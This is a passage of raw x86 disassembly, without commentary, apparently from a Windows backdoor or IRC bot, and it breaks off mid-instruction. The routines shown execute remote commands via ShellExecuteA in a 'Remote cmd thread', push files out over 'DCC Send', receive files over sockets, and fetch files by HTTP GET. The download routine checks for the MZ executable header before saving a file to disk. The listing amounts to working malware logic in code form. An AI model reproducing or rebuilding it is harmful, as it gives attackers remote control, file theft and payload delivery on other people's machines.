= dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call ds:dword_4171D0 ; ShellExecuteA jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset sub_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; CODE XREF: sub_401D6E+99j push offset asc_418214 ; "\r\n" push [ebp+arg_4] call sub_416B70 ; strcat pop ecx pop ecx push [ebp+arg_4] call sub_401D39 pop ecx test eax, eax jnz short locret_401E36 push offset aErrorWhileExec ; "Error while executing command." push [ebp+arg_0] call sub_40D53F pop ecx pop ecx locret_401E36: ; CODE XREF: sub_401D6E+18j ; sub_401D6E+33j ... leave retn sub_401D6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E38 proc near ; DATA XREF: sub_4024F3+10Bo var_614 = qword ptr -614h var_60C = qword ptr -60Ch var_604 = dword ptr -604h var_600 = dword ptr -600h var_5FC = dword ptr -5FCh var_5F8 = dword ptr -5F8h var_5F4 = dword ptr -5F4h var_5F0 = dword ptr -5F0h var_5EC = dword ptr -5ECh var_5E8 = dword ptr -5E8h var_5E4 = dword ptr -5E4h var_5E0 = dword ptr -5E0h var_5DC = byte ptr -5DCh var_5BB = byte ptr -5BBh var_4B7 = byte ptr -4B7h var_3B7 = byte ptr -3B7h var_3AD = byte ptr -3ADh var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 604h push 3D6h push [ebp+arg_0] lea eax, [ebp+var_5E0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_5BB] push eax call ds:dword_4170AC ; DeleteFileA push offset dword_4182AC lea eax, [ebp+var_5BB] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_5E4], eax cmp [ebp+var_5E4], 0 jnz short loc_401EA3 push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EA3: ; CODE XREF: sub_401E38+56j push 2710h push 0 lea eax, [ebp+var_3B7] push eax lea eax, [ebp+var_4B7] push eax call sub_4050EA add esp, 10h mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_401EEE push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp locret_4020BE ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: sub_401E38+95j lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax mov eax, [ebp+var_5E0] push dword ptr [eax] push offset dword_418280 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_5E8], eax and [ebp+var_204], 0 loc_401F2A: ; CODE XREF: sub_401E38:loc_401FD8j push 0 push 200h lea eax, [ebp+var_200] push eax push [ebp+var_208] call ds:dword_417248 ; recv mov [ebp+var_5F0], eax cmp [ebp+var_5F0], 0 jz short loc_401F5F cmp [ebp+var_5F0], 200h jbe short loc_401F61 loc_401F5F: ; CODE XREF: sub_401E38+119j jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401F61: ; CODE XREF: sub_401E38+125j mov eax, [ebp+var_204] add eax, [ebp+var_5F0] mov [ebp+var_204], eax push [ebp+var_204] call ds:dword_41724C ; ntohl mov [ebp+var_5F4], eax push 4 lea eax, [ebp+var_5F4] push eax push [ebp+var_208] call sub_4053BF add esp, 0Ch push [ebp+var_5E4] push [ebp+var_5F0] push 1 lea eax, [ebp+var_200] push eax call sub_416B7C ; fwrite add esp, 10h cmp [ebp+var_5F0], 200h jnb short loc_401FC7 jmp short loc_401FDD ; --------------------------------------------------------------------------- loc_401FC7: ; CODE XREF: sub_401E38+18Bj mov eax, [ebp+var_5E0] cmp dword ptr [eax+4], 0 jz short loc_401FD8 jmp loc_4020BC ; --------------------------------------------------------------------------- loc_401FD8: ; CODE XREF: sub_401E38+199j jmp loc_401F2A ; --------------------------------------------------------------------------- loc_401FDD: ; CODE XREF: sub_401E38:loc_401F5Fj ; sub_401E38+18Dj push [ebp+var_5E4] call sub_416B76 ; ftell pop ecx mov [ebp+var_5EC], eax call sub_416B64 ; clock cmp [ebp+var_5E8], eax jnz short loc_402008 call sub_416B64 ; clock dec eax mov [ebp+var_5E8], eax loc_402008: ; CODE XREF: sub_401E38+1C2j mov eax, [ebp+var_5EC] cdq mov ecx, 400h idiv ecx mov [ebp+var_5F8], eax fild [ebp+var_5F8] fstp [ebp+var_5FC] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_600], eax fild [ebp+var_600] fdiv ds:flt_417270 fdivr [ebp+var_5FC] push ecx push ecx fstp [esp+60Ch+var_60C] call sub_416B64 ; clock sub eax, [ebp+var_5E8] mov [ebp+var_604], eax fild [ebp+var_604] fdiv ds:flt_417270 push ecx push ecx fstp [esp+614h+var_614] lea eax, [ebp+var_5DC] push eax lea eax, [ebp+var_5BB] push eax push offset dword_418234 lea eax, [ebp+var_3AD] push eax call sub_40D53F add esp, 20h loc_402094: ; CODE XREF: sub_401E38:loc_4020BCj push [ebp+var_5E4] call sub_416B82 ; fclose pop ecx push [ebp+var_208] call sub_40538D pop ecx push [ebp+var_5E0] call sub_409763 pop ecx xor eax, eax jmp short locret_4020BE ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_401E38+19Bj jmp short loc_402094 ; --------------------------------------------------------------------------- locret_4020BE: ; CODE XREF: sub_401E38+66j ; sub_401E38+B1j ... leave retn 4 sub_401E38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C2 proc near ; DATA XREF: sub_40260D+7Co var_A2C = qword ptr -0A2Ch var_A24 = qword ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = byte ptr -0A04h var_9FC = dword ptr -9FCh var_9F8 = dword ptr -9F8h var_9F4 = dword ptr -9F4h var_9F0 = byte ptr -9F0h var_8EC = dword ptr -8ECh var_8E8 = dword ptr -8E8h var_8E4 = dword ptr -8E4h var_8E0 = byte ptr -8E0h var_8BF = byte ptr -8BFh var_8BE = byte ptr -8BEh var_7BB = byte ptr -7BBh var_618 = dword ptr -618h var_614 = byte ptr -614h var_210 = byte ptr -210h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A1Ch push 2CCh push [ebp+arg_0] lea eax, [ebp+var_8E4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_8BF] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_9F8], eax jmp short loc_40210D ; --------------------------------------------------------------------------- loc_402100: ; CODE XREF: sub_4020C2:loc_40215Ej mov eax, [ebp+var_9F8] dec eax mov [ebp+var_9F8], eax loc_40210D: ; CODE XREF: sub_4020C2+3Cj cmp [ebp+var_9F8], 0 jnz short loc_40212D lea eax, [ebp+var_8BF] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40212D: ; CODE XREF: sub_4020C2+52j mov eax, [ebp+var_9F8] movsx eax, [ebp+eax+var_8BF] cmp eax, 5Ch jnz short loc_40215E mov eax, [ebp+var_9F8] lea eax, [ebp+eax+var_8BE] push eax lea eax, [ebp+var_9F0] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_402160 ; --------------------------------------------------------------------------- loc_40215E: ; CODE XREF: sub_4020C2+7Cj jmp short loc_402100 ; --------------------------------------------------------------------------- loc_402160: ; CODE XREF: sub_4020C2+69j ; sub_4020C2+9Aj mov [ebp+var_8E8], 10h lea eax, [ebp+var_8E8] push eax lea eax, [ebp+var_10] push eax call sub_40CF25 push eax call ds:dword_417240 ; getsockname push 2 push 0 push 0 push 401h lea eax, [ebp+var_614] push eax push [ebp+var_8E8] lea eax, [ebp+var_10] push eax call dword_41DE88 ; getnameinfo test eax, eax jz short loc_4021BA push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_4020C2+E3j push 0Ah lea eax, [ebp+var_A04] push eax push 1388h push 400h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch push 1 lea eax, [ebp+var_A04] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_9FC], eax cmp [ebp+var_9FC], 0 jnz short loc_40220F push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40220F: ; CODE XREF: sub_4020C2+138j push offset aRb ; "rb" lea eax, [ebp+var_8BF] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8EC], eax cmp [ebp+var_8EC], 0 jnz short loc_402250 push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_402250: ; CODE XREF: sub_4020C2+16Dj push 2 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_8EC] call sub_416B76 ; ftell pop ecx mov [ebp+var_A08], eax push 0 push 0 push [ebp+var_8EC] call sub_416B96 ; fseek add esp, 0Ch lea eax, [ebp+var_614] push eax lea eax, [ebp+var_9F0] push eax push offset aDccSendSS ; "DCC Send %s (%s)" lea eax, [ebp+var_8E0] push eax call sub_40D420 add esp, 10h push [ebp+var_A08] lea eax, [ebp+var_A04] push eax lea eax, [ebp+var_614] push eax call ds:dword_417244 ; inet_addr push eax call ds:dword_41724C ; ntohl push eax lea eax, [ebp+var_9F0] push eax push offset dword_418348 lea eax, [ebp+var_8E0] push eax call sub_40D4AB add esp, 18h push 0EA60h push [ebp+var_9FC] call sub_4048EF pop ecx pop ecx mov [ebp+var_618], eax cmp [ebp+var_618], 0 jz short loc_40230F cmp [ebp+var_618], 0FFFFFFFFh jnz short loc_40233A loc_40230F: ; CODE XREF: sub_4020C2+242j push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp locret_4024EF ; --------------------------------------------------------------------------- loc_40233A: ; CODE XREF: sub_4020C2+24Bj lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax mov eax, [ebp+var_8E4] push dword ptr [eax] push offset dword_418320 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 14h call sub_416B64 ; clock mov [ebp+var_9F4], eax loc_40236F: ; CODE XREF: sub_4020C2:loc_40240Dj push [ebp+var_8EC] push 200h push 1 lea eax, [ebp+var_210] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_A0C], eax cmp [ebp+var_A0C], 0 jz short loc_4023A6 cmp [ebp+var_A0C], 200h jbe short loc_4023A8 loc_4023A6: ; CODE XREF: sub_4020C2+2D6j jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023A8: ; CODE XREF: sub_4020C2+2E2j push [ebp+var_A0C] lea eax, [ebp+var_210] push eax push [ebp+var_618] call sub_4053BF add esp, 0Ch test eax, eax jnz short loc_4023EE lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182F4 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 10h jmp loc_4024ED ; --------------------------------------------------------------------------- loc_4023EE: ; CODE XREF: sub_4020C2+303j cmp [ebp+var_A0C], 200h jnb short loc_4023FC jmp short loc_402412 ; --------------------------------------------------------------------------- loc_4023FC: ; CODE XREF: sub_4020C2+336j mov eax, [ebp+var_8E4] cmp dword ptr [eax+4], 0 jz short loc_40240D jmp loc_4024EB ; --------------------------------------------------------------------------- loc_40240D: ; CODE XREF: sub_4020C2+344j jmp loc_40236F ; --------------------------------------------------------------------------- loc_402412: ; CODE XREF: sub_4020C2:loc_4023A6j ; sub_4020C2+338j call sub_416B64 ; clock cmp [ebp+var_9F4], eax jnz short loc_40242B call sub_416B64 ; clock dec eax mov [ebp+var_9F4], eax loc_40242B: ; CODE XREF: sub_4020C2+35Bj mov eax, [ebp+var_A08] cdq mov ecx, 400h idiv ecx mov [ebp+var_A10], eax fild [ebp+var_A10] fstp [ebp+var_A14] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A18], eax fild [ebp+var_A18] fdiv ds:flt_417270 fdivr [ebp+var_A14] push ecx push ecx fstp [esp+0A24h+var_A24] call sub_416B64 ; clock sub eax, [ebp+var_9F4] mov [ebp+var_A1C], eax fild [ebp+var_A1C] fdiv ds:flt_417270 push ecx push ecx fstp [esp+0A2Ch+var_A2C] lea eax, [ebp+var_8E0] push eax lea eax, [ebp+var_9F0] push eax push offset dword_4182B0 lea eax, [ebp+var_7BB] push eax call sub_40D53F add esp, 20h loc_4024B7: ; CODE XREF: sub_4020C2:loc_4024EBj ; sub_4020C2:loc_4024EDj push [ebp+var_618] call sub_40538D pop ecx push [ebp+var_8EC] call sub_416B82 ; fclose pop ecx push [ebp+var_9FC] call sub_404CBB pop ecx push [ebp+var_8E4] call sub_409763 pop ecx xor eax, eax jmp short locret_4024EF ; --------------------------------------------------------------------------- loc_4024EB: ; CODE XREF: sub_4020C2+346j jmp short loc_4024B7 ; --------------------------------------------------------------------------- loc_4024ED: ; CODE XREF: sub_4020C2+327j jmp short loc_4024B7 ; --------------------------------------------------------------------------- locret_4024EF: ; CODE XREF: sub_4020C2+F3j ; sub_4020C2+148j ... leave retn 4 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024F3 proc near ; CODE XREF: sub_40D871+203p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_4], 0 jz short loc_402511 cmp [ebp+arg_8], 0 jz short loc_402511 cmp [ebp+arg_C], 0 jz short loc_402511 cmp [ebp+arg_10], 0 jnz short loc_402516 loc_402511: ; CODE XREF: sub_4024F3+Aj ; sub_4024F3+10j ... jmp locret_40260B ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_4024F3+1Cj push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_402531 cmp [ebp+var_8], 0FFFFh jbe short loc_402536 loc_402531: ; CODE XREF: sub_4024F3+33j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402536: ; CODE XREF: sub_4024F3+3Cj push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_402551 cmp [ebp+var_8], 40000000h jbe short loc_402556 loc_402551: ; CODE XREF: sub_4024F3+53j jmp locret_40260B ; --------------------------------------------------------------------------- loc_402556: ; CODE XREF: sub_4024F3+5Cj push 3D6h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40256F jmp locret_40260B ; --------------------------------------------------------------------------- loc_40256F: ; CODE XREF: sub_4024F3+75j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 100h push [ebp+arg_C] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B58 ; strncpy add esp, 0Ch push 6 push [ebp+arg_10] mov eax, [ebp+var_4] add eax, 229h push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov ecx, [ebp+var_C] mov [eax+22Fh], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 233h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41837C push 0 push [ebp+var_4] push offset sub_401E38 call sub_4095A4 add esp, 18h locret_40260B: ; CODE XREF: sub_4024F3:loc_402511j ; sub_4024F3:loc_402531j ... leave retn sub_4024F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40260D proc near ; CODE XREF: sub_40A9CF+98Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jz short loc_40261D cmp [ebp+arg_8], 0 jnz short loc_40261F loc_40261D: ; CODE XREF: sub_40260D+8j jmp short locret_402696 ; --------------------------------------------------------------------------- loc_40261F: ; CODE XREF: sub_40260D+Ej push 2CCh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_402635 jmp short locret_402696 ; --------------------------------------------------------------------------- loc_402635: ; CODE XREF: sub_40260D+24j push 21h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch push 104h push [ebp+arg_8] mov eax, [ebp+var_4] add eax, 25h push eax call sub_416B58 ; strncpy add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 129h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4183A0 push 0 push [ebp+var_4] push offset sub_4020C2 call sub_4095A4 add esp, 18h locret_402696: ; CODE XREF: sub_40260D:loc_40261Dj ; sub_40260D+26j leave retn sub_40260D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402698 proc near ; CODE XREF: sub_402A32+5C9p var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 420h push 2710h push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_4050EA add esp, 10h mov [ebp+var_414], eax cmp [ebp+var_414], 0 jnz short loc_4026CC xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4026CC: ; CODE XREF: sub_402698+2Bj push [ebp+arg_8] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 401h lea eax, [ebp+var_404] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_4053BF add esp, 0Ch push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402745 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_402758 loc_402745: ; CODE XREF: sub_402698+A2j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_402758: ; CODE XREF: sub_402698+ABj push offset asc_4183EC ; "\r\n\r\n" lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_40278D push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40278D: ; CODE XREF: sub_402698+E0j mov eax, [ebp+var_410] add eax, 4 mov [ebp+var_410], eax push offset aContentLength ; "Content-Length: " lea eax, [ebp+var_404] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_40C], eax cmp [ebp+var_40C], 0 jz short loc_4027CC mov eax, [ebp+var_40C] cmp eax, [ebp+var_410] jbe short loc_4027DF loc_4027CC: ; CODE XREF: sub_402698+124j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4027DF: ; CODE XREF: sub_402698+132j and [ebp+var_41C], 0 lea eax, [ebp+var_41C] push eax push offset aContentLengthU ; "Content-Length: %u\r\n" push [ebp+var_40C] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_408], eax cmp [ebp+var_408], 1 jnz short loc_402818 cmp [ebp+var_41C], 0 jnz short loc_40282B loc_402818: ; CODE XREF: sub_402698+175j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40282B: ; CODE XREF: sub_402698+17Ej cmp [ebp+arg_1C], 0 jz short loc_40285D cmp [ebp+var_41C], 2 jb short loc_40284A mov eax, [ebp+var_410] movzx eax, word ptr [eax] cmp eax, 5A4Dh jz short loc_40285D loc_40284A: ; CODE XREF: sub_402698+1A0j push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40285D: ; CODE XREF: sub_402698+197j ; sub_402698+1B0j cmp [ebp+arg_18], 0 jz short loc_40286E mov eax, [ebp+arg_18] mov ecx, [ebp+var_41C] mov [eax], ecx loc_40286E: ; CODE XREF: sub_402698+1C9j push [ebp+arg_14] call sub_4167B9 pop ecx test eax, eax jz short loc_40288E push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40288E: ; CODE XREF: sub_402698+1E1j push offset dword_4182AC push [ebp+arg_14] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_418], eax cmp [ebp+var_418], 0 jnz short loc_4028BF push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_4028BF: ; CODE XREF: sub_402698+212j push [ebp+var_418] mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax push ecx push 1 push [ebp+var_410] call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_410] lea ecx, [ebp+var_404] sub eax, ecx mov ecx, [ebp+var_420] sub ecx, eax mov eax, [ebp+var_41C] sub eax, ecx mov [ebp+var_41C], eax loc_402910: ; CODE XREF: sub_402698:loc_402A1Dj cmp [ebp+arg_20], 0 jz short loc_40293F mov eax, [ebp+arg_20] cmp dword ptr [eax+4], 0 jz short loc_40293F push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40293F: ; CODE XREF: sub_402698+27Cj ; sub_402698+285j push 2710h push 401h lea eax, [ebp+var_404] push eax push [ebp+var_414] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_402976 cmp [ebp+var_420], 0FFFFFFFFh jnz short loc_40299E loc_402976: ; CODE XREF: sub_402698+2D3j push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push [ebp+arg_14] call ds:dword_4170AC ; DeleteFileA xor eax, eax jmp locret_402A22 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_402698+2DCj mov eax, [ebp+var_420] cmp eax, [ebp+var_41C] jbe short loc_4029C8 push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx xor eax, eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_4029C8: ; CODE XREF: sub_402698+312j push [ebp+var_418] push [ebp+var_420] push 1 lea eax, [ebp+var_404] push eax call sub_416B7C ; fwrite add esp, 10h mov eax, [ebp+var_41C] sub eax, [ebp+var_420] mov [ebp+var_41C], eax cmp [ebp+var_41C], 0 jnz short loc_402A1D push [ebp+var_418] call sub_416B82 ; fclose pop ecx push [ebp+var_414] call sub_40538D pop ecx push 1 pop eax jmp short locret_402A22 ; --------------------------------------------------------------------------- loc_402A1D: ; CODE XREF: sub_402698+366j jmp loc_402910 ; --------------------------------------------------------------------------- locret_402A22: ; CODE XREF: sub_402698+2Fj ; sub_402698+BBj ... leave retn sub_402698 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A24 proc near ; CODE XREF: sub_402A32+625p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A2B proc near ; CODE XREF: sub_402A32+673p push ebp mov ebp, esp xor eax, eax pop ebp retn sub_402A2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A32 proc near ; DATA XREF: sub_403260+BCo var_814 = qword ptr -814h var_804 = qword ptr -804h var_7FC = dword ptr -7FCh var_7F8 = qword ptr -7F8h var_7F0 = dword ptr -7F0h var_7EC = dword ptr -7ECh var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_7E0 = dword ptr -7E0h var_7DC = byte ptr -7DCh var_6D5 = byte ptr -6D5h var_6D4 = byte ptr -6D4h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = byte ptr -6BCh var_6BB = byte ptr -6BBh var_63C = dword ptr -63Ch var_638 = byte ptr -638h var_637 = byte ptr -637h var_632 = byte ptr -632h var_631 = byte ptr -631h var_534 = byte ptr -534h var_430 = byte ptr -430h var_2A8 = byte ptr -2A8h var_2A7 = byte ptr -2A7h var_2A6 = byte ptr -2A6h var_2A3 = byte ptr -2A3h var_296 = byte ptr -296h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_284 = byte ptr -284h var_283 = byte ptr -283h var_204 = byte ptr -204h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 804h push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_63C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_638] push eax lea eax, [ebp+var_7DC] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_288], 0 mov [ebp+var_28C], 1 and [ebp+var_6CC], 0 mov al, byte_41DE30 mov [ebp+var_284], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_283] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_6BC], al push 1Fh pop ecx xor eax, eax lea edi, [ebp+var_6BB] rep stosd stosw stosb and [ebp+var_6C8], 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_7DC] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_4185CC lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 14h push 7 push offset aFile ; "file://" lea eax, [ebp+var_638] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_402B93 push 0 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_631] push eax call ds:dword_417060 ; CopyFileA test eax, eax jnz short loc_402B8E call ds:dword_417064 ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_402B58 lea eax, [ebp+var_534] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41858C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h jmp short loc_402B7B ; --------------------------------------------------------------------------- loc_402B58: ; CODE XREF: sub_402A32+FFj lea eax, [ebp+var_631] push eax mov eax, [ebp+var_63C] push dword ptr [eax] push offset dword_41855C lea eax, [ebp+var_430] push eax call sub_40D53F add esp, 10h loc_402B7B: ; CODE XREF: sub_402A32+124j push [ebp+var_63C] call sub_409763 pop ecx xor eax, eax jmp loc_40325B ; --------------------------------------------------------------------------- loc_402B8E: ; CODE XREF: sub_402A32+F4j jmp loc_403256 ; --------------------------------------------------------------------------- loc_402B93: ; CODE XREF: sub_402A32+D6j lea eax, [ebp+var_638] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_6C0], eax jmp short loc_402BB5 ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402A32:loc_402CD8j mov eax, [ebp+var_6C0] dec eax mov [ebp+var_6C0], eax loc_402BB5: ; CODE XREF: sub_402A32+174j cmp [ebp+var_6C0], 0FFFFFFFFh jz loc_402CDD mov eax, [ebp+var_6C0] movsx eax, [ebp+eax+var_638] cmp eax, 